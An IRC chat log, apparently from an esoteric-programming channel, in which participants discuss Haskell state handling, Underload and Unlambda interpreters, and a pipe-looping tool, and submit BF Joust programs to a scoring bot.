19:04:13 <Lymia> I still wonder.
19:04:23 <Lymia> Why arn't we using managed languages for browsers.
19:04:35 <Vorpal> because they are slow
19:04:44 <Vorpal> or at least people think so
19:04:45 <Lymia> It would eliminate the problem of arbitary code execution
19:04:48 <Vorpal> (and many of them are)
19:04:59 <Lymia> I don't see how it being slow is a bigger concern that security.
19:05:00 <Lymia> >.>
19:05:13 <Vorpal> Lymia, it isn't. But to many people it is
19:05:14 <elliott> we are, it's called java
19:05:16 <elliott> *script
19:05:18 <elliott> nasty typo
19:05:25 <Vorpal> elliott, XD
19:05:26 <elliott> also js in browser is already incredibly slow.
19:05:34 <Sgeo__> Wasn't there a browser written in Java once?
19:05:35 <elliott> Lymia: firefox's UI is all javascript at least
19:05:38 <elliott> well. javascript and xml.
19:05:40 <elliott> and css.
19:05:46 <fizzie> XUUUUL.
19:05:51 <fizzie> (It's good for shouting.)
19:05:51 <Vorpal> Sgeo__, yes
19:05:51 <elliott> Lymia: but the real question is: why aren't we using managed languages for everything.
19:05:56 <Vorpal> Sgeo__, for sunos iirc
19:05:57 <elliott> and the answer is that people suck.
19:06:01 <elliott> well, managed doesn't matter. safe does.
19:06:05 <elliott> you can compile a safe language to raw machine-code.
19:06:26 <elliott> 05:36:54 <Gregor> Weird question: is there something you can do with sound/music to make it sound better on tinny speakers? Sort of adapt it to the expectation that it'll be played on speakers that suck ...
19:06:28 <Vorpal> elliott, I want to compile it to a lower level!
19:06:29 <Lymia> I guess "managed" is a bit too general.
19:06:36 <elliott> Gregor: Well, you can compress music to shit to make it sound good in cars.
19:06:39 <Lymia> Unless you do something really weird, anything memory safe should work, no?
19:06:52 <elliott> Lymia: Indeed.
19:07:12 <Sgeo__> Nimrod ::trollface::
19:07:16 <elliott> time until Lymia joins my Cult of Why Does Every Operating System And Program And Thing Suck Ever: a few weeks.
19:07:24 <Lymia> :V
19:07:32 <elliott> Phantom_Hoover: (partially Vorpal): I'm counting on you to be nice to the initiate-to-be.
19:08:02 <Vorpal> elliott, uh. I don't agree they all suck. Genera didn't really suck!
19:08:11 <elliott> *all the ones anyone uses
19:08:18 <elliott> also, I said "partially Vorpal"
19:08:22 <elliott> it was directed to about half of you.
19:08:24 <Vorpal> elliott, :P
19:08:37 <Vorpal> elliott, wait is this some transporter accident thing?
19:08:41 <elliott> yes.
19:08:49 <Vorpal> awesome
19:08:57 <elliott> 06:52:23 <Lymia> Gregor.
19:08:57 <elliott> 06:52:24 <Lymia> Quick question.
19:08:57 <elliott> 06:52:31 <Lymia> (a{b}c{d}e)*2
19:08:58 <elliott> that is invalid
19:09:00 <elliott> although i think i've told you that
19:09:02 <quintopia> elliott: is it a cult of personality?
19:09:04 <elliott> (in more ways than one)
19:09:05 <fizzie> "Speaker equalization" is a term associated with the "take into account the suckiness of my speakers" sort of things, but there's of course only that much you can do.
19:09:08 <elliott> quintopia: if hate is a personality.
19:09:10 -!- Sgeo__ has changed nick to Sgeo.
19:09:20 <quintopia> no, you are the personality
19:09:25 <elliott> no.
19:09:25 <elliott> hate is.
19:10:16 <elliott> 07:31:07 <zzo38> quintopia: It is publicly available at: gopher://zzo38computer.cjb.net/1textfile and at http://zzo38computer.cjb.net/textfile/
19:10:16 <elliott> 07:33:02 <zzo38> They are not currently accessible by teletype or fax.
19:10:17 <elliott> 07:33:45 <quintopia> ah, so you do have a sense of humor :P
19:10:22 <elliott> quintopia: i don't think he was joking.
19:10:32 <Vorpal> elliott, I wonder how this would look like for minecraft! A lot simpler I bet. http://df.magmawiki.com/images/6/67/DFflowchart.png
19:10:39 <Vorpal> oh and that flow chart is INCOMPLETE!
19:10:44 <elliott> Vorpal: what the heck :D
19:10:49 <quintopia> elliott: do not shatter my entire worldview please
19:10:50 <Vorpal> elliott, what?
19:10:54 <elliott> that chart
19:11:09 <Vorpal> elliott, "Production flowchart for all workshops. Not all items are represented!"
19:11:14 <elliott> xD
19:11:31 <elliott> ugh
19:11:33 <Vorpal> elliott, I think it makes perfect sense
19:11:38 <elliott> i've forgotten how to code with haskell records :(
19:11:40 <fizzie> I'd like to see the same in GraphViz.
19:11:53 <quintopia> is it the fsm for individual dwarves?
19:11:55 <fizzie> It does pretty horrible things to large graphs.)
19:12:05 <quintopia> oh
19:12:12 <quintopia> well i can't read it
19:12:20 <Vorpal> quintopia, no a flow chart for requirements and dependencies between different workshops
19:12:22 <elliott> quintopia: his irc client just syntax highlights the raw messages btw
19:12:24 <elliott> and handles input
19:12:24 <Vorpal> like how you produce glass
19:12:25 <olsner> #haskell used to have a troll that popped in regularly to complain about records and pretty much said nothing else
19:12:31 <Vorpal> you can figure it out from that diagram
19:12:37 <elliott> olsner: that's not a troll, that's a hero
19:12:47 <fizzie> olsner: Whereas here we have elliott who complains about a lot more things too. Multi-tasking!
19:12:56 <quintopia> vorpal: i can't read the diagram
19:13:05 <Vorpal> quintopia, oh? why not
19:13:26 <elliott> fizzie: I COMPLAIN ABOUT YOU
19:13:48 <quintopia> Vorpal: i guess it doesn't render in high enough resolution?
19:13:56 <Vorpal> quintopia, zoom in?
19:14:02 <Vorpal> quintopia, in firefox click on it
19:14:10 <olsner> elliott: well, it appeared this person didn't use haskell at all except for the purpose of complaining about records in haskell
19:14:29 <quintopia> yeah. that doesn't help in the default android browser...it just stays blurry
19:14:30 <Vorpal> fizzie, and yeah it would do weird things in graphvis
19:14:32 <Vorpal> viz*
19:15:05 <Vorpal> quintopia, can't help you with that
19:17:03 <elliott> hmm
19:17:05 <elliott> findMin :: Map k a -> (k, a)Source
19:17:05 <elliott> O(log n). The minimal key of the map.
19:17:05 <elliott> findMax :: Map k a -> (k, a)Source
19:17:05 <elliott> O(log n). The maximal key of the map.
19:17:12 <elliott> I wonder if you can specify a comparatorator
19:17:28 <elliott> no, seems to be hardcoded :(
19:17:36 <elliott> because of the Ord instance I guess
19:17:43 <olsner> if you newtype the key type you can have your own Ord instance
19:18:14 <Deewiant> It uses Ord because it uses the structure of the tree, you'd have to specify the comparator manually for every single function if you wanted to do that; and that's what the Ord instance basically is :-P
19:18:16 <fizzie> It can't really work with a comparatomator that hasn't been...
19:18:20 <fizzie> Like, what Deewiant says.
19:18:20 <quintopia> http://imgur.com/AAZln
19:18:22 <elliott> Deewiant: indeed
19:18:30 <elliott> olsner: yeah but i need two different ords :P
19:18:32 <elliott> in one map
19:18:37 <Deewiant> No, you need two maps ;-)
19:18:45 <elliott> Deewiant: two fungespaces? :D
19:20:03 <olsner> elliott: you can use minimumBy on keys
19:20:17 <elliott> olsner: that's what i did
19:20:17 <elliott> well
19:20:20 <elliott> basically
19:20:44 <elliott> olsner do you know why Haskell is the worst language ever?
19:20:56 <elliott> because push and pop at the bottom of http://sprunge.us/WhWe are impossible to implement if not hideously ugly, and this will never change
19:21:02 <elliott> and that's why all haskell programmers are bad people
19:21:03 <elliott> PROVE ME WRONG
19:21:13 <elliott> bash.org tells me this is the most effective way of getting help
19:21:25 <Deewiant> You just lack all the relevant helper functions
19:21:35 <olsner> it probably is
19:21:40 <elliott> Deewiant: oh yeah, like what
19:21:45 <Deewiant> Like, say, pop that works on a StackStack instead of a StateT FungeState IO
19:22:15 <Deewiant> pop :: State StackStack Value
19:22:17 <Deewiant> For instance :-P
19:22:31 <elliott> Deewiant: I don't think there's any mechanisms to use a "sub-state" in State
19:22:36 <elliott> so I'm not sure how you'd do that
19:22:42 <olsner> just add a mechanism then
19:22:43 <elliott> or do you mean turn the record into stacked StateTs?
19:22:45 <elliott> that seems ugly
19:22:48 <Deewiant> elliott: Of course there is, runState
19:22:58 <Deewiant> That's just pop :: StackStack -> (StackStack, Value)
19:23:03 <elliott> Deewiant: That would just give me a tuple of (StackStack, Value).
19:23:06 <Deewiant> I just used State to avoid writing StackStack twice :-D
19:23:08 <elliott> Deewiant: So I'd have to do get and put. :P
19:23:10 <elliott> lol
19:23:14 <elliott> well it'd be
19:23:34 <Vorpal> elliott, from df wiki article: "(Note that the labor associated with the skill "small animal dissection" (namely "Extract from a dead animal") is used solely at a butcher's shop. But that skill is one of the three that can build a kennel, and is listed as such. Just accept it.)"
19:23:37 <elliott> pop = do (x,ss') <- popSS . stackStack <$> get; modify $ \fs -> fs{stackStack = ss'}
19:23:40 <elliott> Deewiant: Oh yeah, so elegant.
19:23:42 <elliott> :P
19:23:48 <elliott> voorwat
19:23:53 <elliott> *Vorpal: wat
19:23:56 <Lymia> We play Dwarf Fortress here too?
19:23:59 <Vorpal> elliott, indeed!
19:24:03 <elliott> Lymia: Vorpal does
19:24:07 <elliott> the rest of us just play minecraft
19:24:10 <elliott> aka
19:24:13 <Vorpal> I play minecraft as well
19:24:14 <elliott> Dwarf Fortress: The Wimpmode
19:24:22 <Deewiant> elliott: modifySS :: StackStack -> StateT FungeState IO, etc.
19:24:24 <Lymia> Notch's wad of horrible code?
19:24:28 <Lymia> >.>
19:24:36 <Vorpal> Lymia, yes but the game itself is good
19:24:37 <elliott> Deewiant: That should be called putSS.
19:24:38 <elliott> Lymia: Indeed.
19:24:38 <Deewiant> Or something like newSS rather, whatever.
19:24:42 <Vorpal> Lymia, as in, it is fun to play
19:24:42 <Phantom_Hoover> Lymia, it's horrible code but it's a fun game.
19:24:50 <elliott> Lymia: We are more familiar with how bad his code is than anyone else, being Scientists.
19:24:54 <elliott> Applied Scientists of Code.
19:24:58 <Phantom_Hoover> Also, we have a special channel for this, at #esoteric-minecraft
19:25:01 <Lymia> You mean reverse engineers?
19:25:05 <Lymia> =p
19:25:06 <elliott> Lymia: No, we just have a proxy. :p
19:25:20 <olsner> write modifyStackStack :: (StackStack -> StackStack) -> (FungeState -> FungeState), then push x = modify (modifyStackStack (x:)), pretty much...
19:25:24 <Phantom_Hoover> elliott, THIS IS SECRET WE SHOULD BE TALKING IN -MINECRAFT
19:25:25 <Lymia> Reverse engineering stuff is fun!
19:25:26 -!- ais523 has joined.
19:25:30 <elliott> ais523: FINALLY
19:25:35 <Vorpal> ais523, hello
19:25:42 <elliott> ais523: oerjan has managed to translate unlambda fully into underload
19:25:44 <elliott> including d, v, and c
19:26:16 <olsner> you need more to modify the head stack of the stackstack though, which I assume is what you're supposed to do there?
19:26:31 <elliott> olsner: that's the TOSS
19:26:49 <Vorpal> olsner, elliott, you will need to modify SOSS too in some cases
19:26:58 <elliott> Vorpal: yeah, but i can do that manually
19:27:01 <Vorpal> (though not SOSSAR)
19:27:04 <elliott> all i want is push and pop and shit :P
19:27:07 <elliott> SOSSAR?
19:27:07 <Vorpal> (note: olsner will get it)
19:27:23 <Vorpal> elliott, Swedish political joke
19:27:32 <olsner> bad one too :/
19:27:35 <Vorpal> olsner, yes
19:27:36 <Vorpal> true
19:27:36 <elliott> well that was obvious
19:27:39 <elliott> (it being bad)
19:27:53 <ais523> <elliott> ais523: oerjan has managed to translate unlambda fully into underload <--- hey, I did that too
19:27:58 <ais523> it was the inspiration for Underlambda
19:28:04 <ais523> although, I accidentally deleted it
19:28:22 -!- cheater00 has joined.
19:28:24 <ais523> that's what inspired me to save backups in different directories, so I wouldn't be caught out again by rm *
19:28:32 <Vorpal> ais523, haha
19:28:32 -!- cheater- has quit (Ping timeout: 240 seconds).
19:28:38 <Lymia> ais523.
19:28:44 <Lymia> Translate Brainfuck into Unlambda.
19:28:48 <elliott> ais523: and *I* made 1/4th of an Underload self-interpreter
19:28:49 <elliott> ais523: ((a)(b)(c)(d))(*)*^(::**)(~a~*)~^()~^
19:28:50 -!- BeholdMyGlory has joined.
19:28:53 <elliott> ais523: this results in ((a)(b)(cd))
19:28:54 <ais523> Lymia: I translated P'' into Unlambda a while ago
19:29:07 <Lymia> Translate Haskell into Unlambda.
19:29:08 <ais523> elliott: without cheating, presumably
19:29:11 <elliott> ais523: yep
19:29:20 <elliott> ais523: ((a)(b)(c))(::**)(*)(SUBTRACT)(~)~a*^(*^)~a*~a*^^(~a~*)~^()~^ is, modulo errors, the skeleton of most of a self-interpreter
19:29:25 <elliott> ais523: the first two stack elements are the stack, and its size
19:29:26 <ais523> Lymia: that would be ouch, although also interesting
19:29:32 <elliott> ais523: a decrement-by-one goes in place of SUBTRACT
19:29:38 <ais523> elliott: do you need to know the size?
19:29:40 <elliott> ais523: yes
19:29:46 <elliott> ais523: anyway, basically, given
19:29:58 <ais523> I'm trying to figure out where it comes up
19:29:59 <elliott> stack, size of stack, operation to execute, function from size of stack to size of stack after operation
19:30:00 <elliott> it gives you
19:30:06 <elliott> new stack, size of new stack
19:30:09 <elliott> ais523: because how it works is
19:30:13 <ais523> oh, in order to get rid of the rest of the stack
19:30:13 <elliott> ((a)(b)(c)(d))
19:30:14 <elliott> ->
19:30:15 <ais523> after pushing
19:30:16 <elliott> ((a)(b)(c)(d)*)
19:30:17 <elliott> ->
19:30:19 <elliott> (a)(b)(cd)
19:30:22 <elliott> and then it goes
19:30:23 <elliott> (a)(b)(cd)()
19:30:25 <ais523> because you don't have infra and ultra, like in underlambda
19:30:25 <elliott> (a)(b)()(cd)
19:30:28 <elliott> (a)(b)()((cd))
19:30:31 <elliott> (a)(b)((cd))()
19:30:32 <elliott> (a)(b)((cd))
19:30:36 <elliott> (a)((cd))(b)
19:30:38 <elliott> (a)((cd))((b))
19:30:41 <elliott> (a)((b))((cd))
19:30:44 <elliott> (a)((b)(cd))
19:30:45 <elliott> etc.
19:30:48 <elliott> to reclaim the stack
19:31:44 <ais523> yep, I have some upp code somewhere that rewires an Underload program to do that automatically
19:32:15 <elliott> ais523: jesus christ i hate you :D
19:32:19 <elliott> "so hey oerjan did this thing"
19:32:21 <elliott> "YEAH, I DID THAT ONCE"
19:32:23 <elliott> "and I did this thing"
19:32:25 <elliott> "BEEEN THEEERE"
19:32:33 -!- Behold has quit (Ping timeout: 276 seconds).
19:32:37 <ais523> elliott: your approach is different to mine, though
19:32:46 <ais523> so it's fine for them both to exist
19:32:48 <elliott> :P
19:33:02 <Lymia> !bfjoust evo_2 >>->(>.+++++<-----)*2>-(+-)*5--++([-[[--](+)*20[<]]+-[<+[(+[])*8]+].>]>+)*19
19:33:13 <ais523> Lymia: is that the result of your BF Joust evolver?
19:33:17 <Lymia> !bfjoust evo_3 (>>->(>.++++<---+--)*1>>)*3.(-)*6-->+([-[--(+)*20[-]]+-[<+(+)*10[][]].>]+)*23
19:33:18 <Lymia> Yeah.
19:33:24 <elliott> Lymia: how many generations?
19:33:27 <ais523> it certainly doesn't look like the sort of thing someone would write by hand
19:33:28 <EgoBot> Score for Lymia_evo_2: 0.0
19:33:29 <elliott> [][] is obviously dead code
19:33:30 <Lymia> 75
19:33:31 <EgoBot> Score for Lymia_evo_3: 8.4
19:33:35 <ais523> elliott: no it isn't
19:33:39 <elliott> oh, indeed
19:33:40 <oerjan> elliott: SHALL I BAN HIM
19:33:45 <elliott> oerjan: who
19:33:48 <ais523> it's actually impossible to write dead code in BF Joust
19:33:57 <oerjan> elliott: THAT AIS523 RASCAL
19:34:00 <Lymia> It's possible.
19:34:00 <elliott> yes!
19:34:03 <Lymia> <[]
19:34:03 <ais523> except right at the start of the program
19:34:04 <elliott> ais523: anyway, all you need is a way to go from church numeral of ascii value of *valid* underload instruction --> quotation of its operation plus function representing its stack effect
19:34:06 <Lymia> The [] is dead code.
19:34:08 <ais523> when you know the opponent isn't interfering
19:34:08 <elliott> ais523: and also a gigantic table of output values
19:34:13 <elliott> ais523: I think you can even output ( and )
19:34:14 <ais523> Lymia: oh, right
19:34:14 <elliott> by using "a"
19:34:19 <elliott> ais523: after mapping all the subelements
19:34:23 <ais523> elliott: you can, just only in pairs
19:34:26 <elliott> ais523: right
19:34:44 <elliott> ais523: so yes, I think you could make a complete underload self-interpreter in maybe 15 to 20 lines, ignoring the ascii table
19:34:49 <Lymia> elliott.
19:34:56 <ais523> that seems plausible
19:35:00 <elliott> Stop pinging me like that. It's really irritating.
19:35:05 * Lymia hugs elliott <3
19:35:06 <Lymia> Sorry~
19:36:52 <ais523> I've been working on 1cnis all weekend
19:37:00 <elliott> 11:14:28 <Lymia> Looks like there arn't any crash bugs in my BF Joust evolver...
19:37:00 <elliott> 11:14:35 <Lymia> I'm going to let it run for a night and see what comes out.
19:37:01 <elliott> what happened?
19:37:05 <Lymia> It crashed.
19:37:06 <ais523> adding a few features like a simple preprocessor (RLE and substitution of constants)
19:37:06 <elliott> ais523: really?
19:37:10 * oerjan decides to just spam it
19:37:13 <ais523> elliott: really
19:37:16 <elliott> oerjan: spam what
19:37:29 <oerjan> s: ((~a(~(*a(~^)*a(*)*~*^)~*a(~a(a(~)*~a(~^)*a:)~)~(**a(~a)~(*~^)**~^)**a(~a)~(*~^)**~^)*~^)~^)
19:37:30 <ais523> I've decided that I really badly want to generate a 2,3 machine initial condition using 1cnis
19:37:33 <oerjan> k: ((~a(~a(~!)~(~^)**a(~a)~(*~^)**~^)*~^)~^)
19:37:35 <oerjan> i: ((~a(^)*~^)~^)
19:37:38 -!- pumpkin has joined.
19:37:38 <oerjan> v: ((~a((a(:^)*a(~a)~(*~^)**a(~!)~(~^)**^):^)*~^)~^)
19:37:40 <oerjan> ` (postfix): a(~)~(~^)**a(a)~(*)**~*
19:37:42 <ais523> oerjan: ouch, that's complex
19:37:43 <oerjan> .x: ((~a(~a~*((x)S)~*^)*~^)~^)
19:37:45 <oerjan> d: (((a(~)*~a(~^)*a(~^)**)~*a(~a)~(*~^)**~^)~^)))~^)
19:37:45 <ais523> presumably to allow for c
19:37:48 <oerjan> c: ((~a(:a~(!)~*a(~a)~(*~^)**a(~^)*a*~*^)*~^)~^)
19:37:50 <oerjan> e: ((~a(!!)*~^)~^)
19:37:51 <oerjan> also d
19:37:53 <oerjan> End of file: (!)~^
19:38:06 <elliott> oerjan: does that end of file do anything useful?
19:38:09 <ais523> the method I used to allow for d was rather simpler than that, IIRC
19:38:10 <elliott> oh, yes
19:38:15 <oerjan> elliott: run the program...
19:38:27 <elliott> ais523: btw, when implementing catbus, I realised that Underload was the epitomic programming paradigm
19:38:32 <ais523> epitomic?
19:38:33 <HackEgo> No output.
19:38:36 <elliott> yes
19:38:38 -!- TLUL has joined.
19:38:44 <ais523> I mean, what does the word mean?
19:38:47 <elliott> the epitome!
19:38:52 <elliott> ais523: because it's the same as the paradigm that catbus (now called "tie") gives Unix pipes
19:38:54 <elliott> which I will now clal
19:38:54 <elliott> *call
19:39:04 <elliott> purely functional recursively-composed piping
19:39:09 <elliott> *purely functional recursively-composed concatenative piping
19:39:19 <ais523> haha, that is a good description
19:39:20 <elliott> ais523: for instance:
19:39:28 <elliott> $ tie 'nc irc.freenode.net 6667 | ./mybot'
19:39:34 <elliott> ais523: tie ties the two ends of this pipe together
19:39:42 <elliott> so that mybot's output goes back to nc
19:39:50 -!- copumpkin has quit (Ping timeout: 272 seconds).
19:39:56 <elliott> ais523: but the thing is, from a functional perspective, we can see tie as fixing function concatenation
19:40:13 <elliott> ais523: (tie (nc irc.freenode.net 6667 | ./mybot)) = nc irc.freenode.net 6667 | ./mybot | nc irc.freenode.net 6667 | ./mybot | nc irc.freenode.net 6667 | ./mybot | nc irc.freenode.net 6667 | ./mybot | ...
19:40:16 <ais523> I know I created a bunch of stuff doing that sort of thing a while back
19:40:25 <elliott> ais523: the thing to realise here is that the "nc"s and "mybots" there are the same
19:40:29 <elliott> ais523: because of referential transparency
19:40:34 <ais523> to be precise, I created a wrapper executable that did what named pipes did, because I was unaware of the existence of named pipes
19:40:37 <elliott> the interesting thing is that the first nc never gets any input
19:40:39 <ais523> elliott: yep
19:40:41 <elliott> so although tie's semantics are to tie the end to the start
19:40:45 <elliott> it actually just creates an infinite chain
19:40:47 <elliott> semantically
19:40:57 <ais523> but the executables share state
19:41:07 <elliott> ais523: it's more like, you'd do it like
19:41:10 <elliott> foo <- nc irc.freenode.net 6667
19:41:12 <elliott> bot <- mybot
19:41:13 <elliott> then it's
19:41:17 <elliott> foo | bot | foo | bot | ...
19:41:45 <elliott> ais523: anyway, yes, basically, as far as I can tell, the perfect paradigm is _lazy_, purely functional, concatenative piping
19:41:55 <elliott> ais523: lazy being important because it lets you construct that infinite pipeline without indirection
19:42:02 <elliott> of course, evaluating such a lazy language sounds non-trivial
19:42:07 <ais523> we should make a lazy underload
19:42:14 <elliott> agree
19:42:22 <ais523> without S and infinite loops, you could lazify it without making any difference
19:42:38 <elliott> ais523: in other news, I have been working on a specification for Underload
19:42:39 <ais523> I/O is always an issue in lazy langs...
19:42:50 <ais523> you mean there isn't one?
19:42:55 <elliott> ais523: the special thing about this specification is that it's formal
19:43:11 <elliott> ais523: it consists of a mix of English prose and Haskell, where the Haskell takes precedence over the English in cases of contradiction
19:43:19 <elliott> ais523: the Haskell specifies the executable formal semantics of the language
19:43:26 <elliott> that it doubles up as a reference interpreter is just a bonus
19:43:30 <ais523> haha
19:43:38 <elliott> ais523: I was inspired by http://catseye.tc/projects/burro/doc/burro.html
19:43:57 <Vorpal> elliott, is haskell itself formally specified?
19:43:58 <ais523> hmm, at least that one loads
19:44:19 <elliott> ais523: the plan is to finish it off, get your approval, and call that the Official Underload Specification(TM) ... there's at least reason to claim the language needs a second specification
19:44:27 <elliott> in that this one lacks the " stuff that nobody implements :P
19:44:36 <elliott> it's quite hard coding Haskell to convey semantics well
19:44:47 <ais523> easier than coding C to convey semantics well
19:44:49 <ais523> or VHDL
19:44:55 <elliott> I've been avoiding helper functions in case their "implementation details" affect the semantics
19:44:58 <ais523> Haskell and Prolog are good langs for that sort of thing
19:45:00 <elliott> e.g., I didn't use Parsec for the parser
19:45:05 <Vorpal> ais523 why VHDL as an example
19:45:11 <elliott> (mostly because a language's definition depending on Parsec's is just insane)
19:45:13 <Vorpal> ais523, I would say INTERCAL or befunge even more so
19:45:27 <ais523> Vorpal: becaues VHDL is so incredibly low-level
19:45:45 <Vorpal> ais523, but it would be easier with VHDL than with INTERCAL!
19:45:48 <elliott> Deewiant: What helper functions did you say I needed again? :-)
19:45:50 <ais523> levels of programming aren't numbered, but if they were, VHDL would be at least 2 or 3 below machine code
19:46:13 <Vorpal> ais523, very true
19:46:36 <Vorpal> writing VHDL is quite painful I have to say from personal experience
19:46:41 <Deewiant> elliott: I think olsner had it mostly right 2011-02-06 21:43:37 ( olsner) write modifyStackStack :: (StackStack -> StackStack) -> (FungeState -> FungeState), then push x = modify (modifyStackStack (x:)), pretty much...
19:46:54 <Deewiant> elliott: Just add modifyStack in the middle :-P
19:46:58 <elliott> Deewiant: hmm, interesting, you should be able to say "modifyOn stackStack"
19:47:04 <ais523> whereas INTERCAL is slightly above
19:47:06 <elliott> Deewiant: also, that doesn't make popping any easier
19:47:16 <elliott> Deewiant: Maybe I'll use data-accessor, so that I /can/ say "modifyOn stackStack"
19:47:31 <ais523> I think INTERCAL's about as easy to use as asm for that purpose
19:47:36 <Lymia> !bfjoust evo_4 >>>>(>>>..+<-----)*3>>[(.-(-)*6)*1--]+(.[[-][([[<+-+-][-]]+-)*3[<[][<<<([]>[])*9]+]]>]>+)*18
19:47:37 <ais523> although harder to read afterwards
19:48:03 <elliott> 13:37:26 <nddrylliog> it would be nice if fungot pointed out exactly where the error lied
19:48:03 <fungot> elliott: they work now, gave it a link to
19:48:05 <elliott> lol
19:48:10 <elliott> Lymia: wat
19:48:11 <ais523> Lymia: how do the evolved jousters do against [>[-]+]?
19:48:19 <ais523> it's close to the smallest BF Joust program that does decently at all
19:48:23 <EgoBot> Score for Lymia_evo_4: 0.5
19:48:25 <Lymia> [>[-]+]?
19:48:36 <elliott> !bfjoust lout [>[-]+]
19:48:37 <Lymia> !bfjoust evo_5 >>>>(>>+..+>----)*3>>[(.-)*2--<]+(.[[-][(+[+-+-][[.]-]-)*4[[><[<]][<<(>[])*8]+]]>]>.+)*18
19:48:38 <ais523> !bfjoust attack1 [>[-]+]
19:48:42 <Lymia> :v
19:48:43 <elliott> ais523: IT'S CALLED LOUT NOW
19:48:44 <Lymia> Oh.
19:48:49 <ais523> elliott: I called it attack1 first!
19:48:51 <Lymia> Decoys and brute force?
19:48:53 <elliott> I CALLED IT LOUT SECOND
19:48:56 <EgoBot> Score for ais523_attack1: 1.2
19:48:56 <EgoBot> Score for Lymia_evo_5: 0.4
19:48:56 <EgoBot> Score for elliott_lout: 1.2
19:49:01 <Lymia> Buh.
19:49:07 <Lymia> I'm going to revise the program.
19:49:07 <ais523> Lymia: it's basically just brute force, the decoys happen mostly by chance
19:49:15 <Lymia> ais523, by chance?
19:49:20 <ais523> well, as a side-effect
19:49:23 <Lymia> Ah.
19:49:27 <ais523> of needing a nonzero value to repeat the loop
19:49:29 <Lymia> It's used to keep the loop going, right?
19:49:30 <ais523> yep
19:49:43 <zzo38> How am I supposed to figure out which DSPs are best for my requirements?
19:49:50 <elliott> zzo38: with your brain?
19:50:06 <ais523> !bfjoust attackminus1 (>)*9([-]>)*20
19:50:11 <EgoBot> Score for ais523_attackminus1: 5.6
19:50:11 <zzo38> elliott: That isn't what I meant by the question.
19:50:16 <ais523> that's how it looks if you don't use decoys to keep the loop going
19:50:25 <ais523> it scores slightly better because at least it beats tripwire :)
19:51:12 <elliott> "You can easily manipulate record fields in a Control.Monad.State.State monad"
19:51:17 <elliott> yeah, I think I'll use data-accessor
19:51:20 <Vorpal> !bfjoust test [>[+]-]
19:51:24 <EgoBot> Score for Vorpal_test: 1.2
19:51:27 <Vorpal> !bfjoust test [>[+]+]
19:51:34 <EgoBot> Score for Vorpal_test: 1.2
19:51:37 <Vorpal> !bfjoust test [>[-]-]
19:51:42 <quintopia> !bfjoust lout2 [>[-]>[-]+]
19:51:44 <EgoBot> Score for Vorpal_test: 1.2
19:51:46 <Vorpal> hm
19:51:48 <EgoBot> Score for quintopia_lout2: 1.1
19:51:52 <quintopia> huh
19:52:04 <Lymia> !bfjoust byebyetripwire .
19:52:10 <EgoBot> Score for Lymia_byebyetripwire: 5.6
19:52:32 <zzo38> For one thing, I ought to have a program that accurately emulates the DSP, is Free software, and is written in some literate programming system. Now we can avoid vendor lock.
19:52:32 <Vorpal> !bfjoust test >+>+>+>+>[>[+]-]
19:52:37 <EgoBot> Score for Vorpal_test: 0.0
19:52:40 <Vorpal> huh
19:52:43 <ais523> hmm, does FYB have that situation where programs can do well against "good" programs, but lose against no-ops?
19:52:44 <Vorpal> !bfjoust test >+>+>[>[+]-]
19:52:50 <EgoBot> Score for Vorpal_test: 0.0
19:52:53 <Vorpal> why
19:53:04 <Vorpal> !bfjoust test >+[>[+]-]
19:53:05 <ais523> zzo38: there pretty much are no good DSPs, on that basis
19:53:09 <EgoBot> Score for Vorpal_test: 1.2
19:53:11 <ais523> they're all massively vendor-specific
19:53:12 <Vorpal> hrrm
19:53:15 <zzo38> Also, I should have it using program on external RAM/ROM, no special software required.
19:53:15 <quintopia> what does tripwire do again? alternate?
19:53:22 <elliott> lol @ literate programming requirement
19:53:31 <ais523> quintopia: no, it skips the first couple of nonzero locations it notices
19:53:36 <ais523> on the basis that they're probably decoys
19:53:39 <ais523> it's a pure fast-rush attacker
19:53:54 <quintopia> oh
19:53:59 <ais523> and that gives it the edge to beat other fast-rush attackers
19:54:00 <Lymia> !bfjoust byebyetripwire >>+>([-]>)*100
19:54:05 <EgoBot> Score for Lymia_byebyetripwire: 1.4
19:54:07 <Lymia> :(
19:54:14 <Lymia> Does it only skip the first decoy?
19:54:23 <ais523> I think it skips the first decoy, and the space after
19:54:30 <Lymia> !bfjoust byebyetripwire >+>([-]>)*100
19:54:32 <ais523> try adding that decoy on the second tape element, rather than the third
19:54:33 <EgoBot> Score for Lymia_byebyetripwire: 1.2
19:54:41 <Lymia> !bfjoust byebyetripwire (>)*10([-]>)*100
19:54:44 <EgoBot> Score for Lymia_byebyetripwire: 5.4
19:54:53 <zzo38> elliott: The reason for the literate programming requirement is for similar reasons to the other requirements. That means full and accurate documentation for the device is available, because the book is the same as the program.
19:54:54 <ais523> hmm, perhaps the tripwire up there really does skip just one
19:55:10 <ais523> which tripwire does best depends on how decoy-heavy the other programs are
19:55:28 <quintopia> !bfjoust lout2 [>[-]>[-](+)*10]
19:55:28 <zzo38> And it needs that I can have that a user program on the DSP cannot damage the hardware.
19:55:33 <EgoBot> Score for quintopia_lout2: 4.1
19:55:39 <quintopia> interesante
19:55:45 -!- kar8nga has joined.
19:56:26 <elliott> Deewiant: Surely it should be modifyTOSS, not modifyStack. :-)
19:56:30 <ais523> elliott: was that day of the day of the day thing on the mainpage you? I can't remember your exact IP any more, but it's in the right range
19:56:30 <elliott> Actually, wait, the stack is the name of the TOSS.
19:56:34 <elliott> ais523: yep
19:56:38 <ais523> ah, yes
19:56:49 <quintopia> does bfjoust use wrapping?
19:57:30 <elliott> modifyStack :: (Stack -> Stack) -> FungeState -> FungeState
19:57:31 <elliott> modifyStack f st{stackStack=(s:ss)} = st{stackStack = f s : ss}
19:57:31 <elliott> modifyStack f st{stackStack=[]} = st{stackStack = [f []]}
19:57:32 <elliott> ugliest code EVAR
19:57:33 <elliott> quintopia: yes
19:57:35 <zzo38> And that it is possible to write a user program on it that can make two channels of audio output and one channel of video output including emulation of other systems such as GameBoy Advance, and Commodore 64, audio/video, and other things that you are able to program in.
19:57:39 <ais523> quintopia: 8-bit wrapping, it makes a really big difference
19:57:45 <zzo38> Is such DSP existing?
19:57:50 <ais523> in that it's possible to take a flag down from 128 to 0 either upwards or downwards
19:58:01 <quintopia> aha
19:58:04 <quintopia> so then
19:58:10 <ais523> zzo38: DSPs typically can't run processor emulators at any reasonable speed, they have the wrong sort of architecture
19:58:21 <ais523> you'd have better luck for doing that with an FPGA, but those are realy problematic for other reasons
19:58:21 <quintopia> !bfjoust lout3 [>[-]>[-]-]
19:58:23 <zzo38> O, and also RAM accessible by both the DSP and external processors at the same time.
19:58:26 <EgoBot> Score for quintopia_lout3: 0.7
19:58:33 <quintopia> hmm
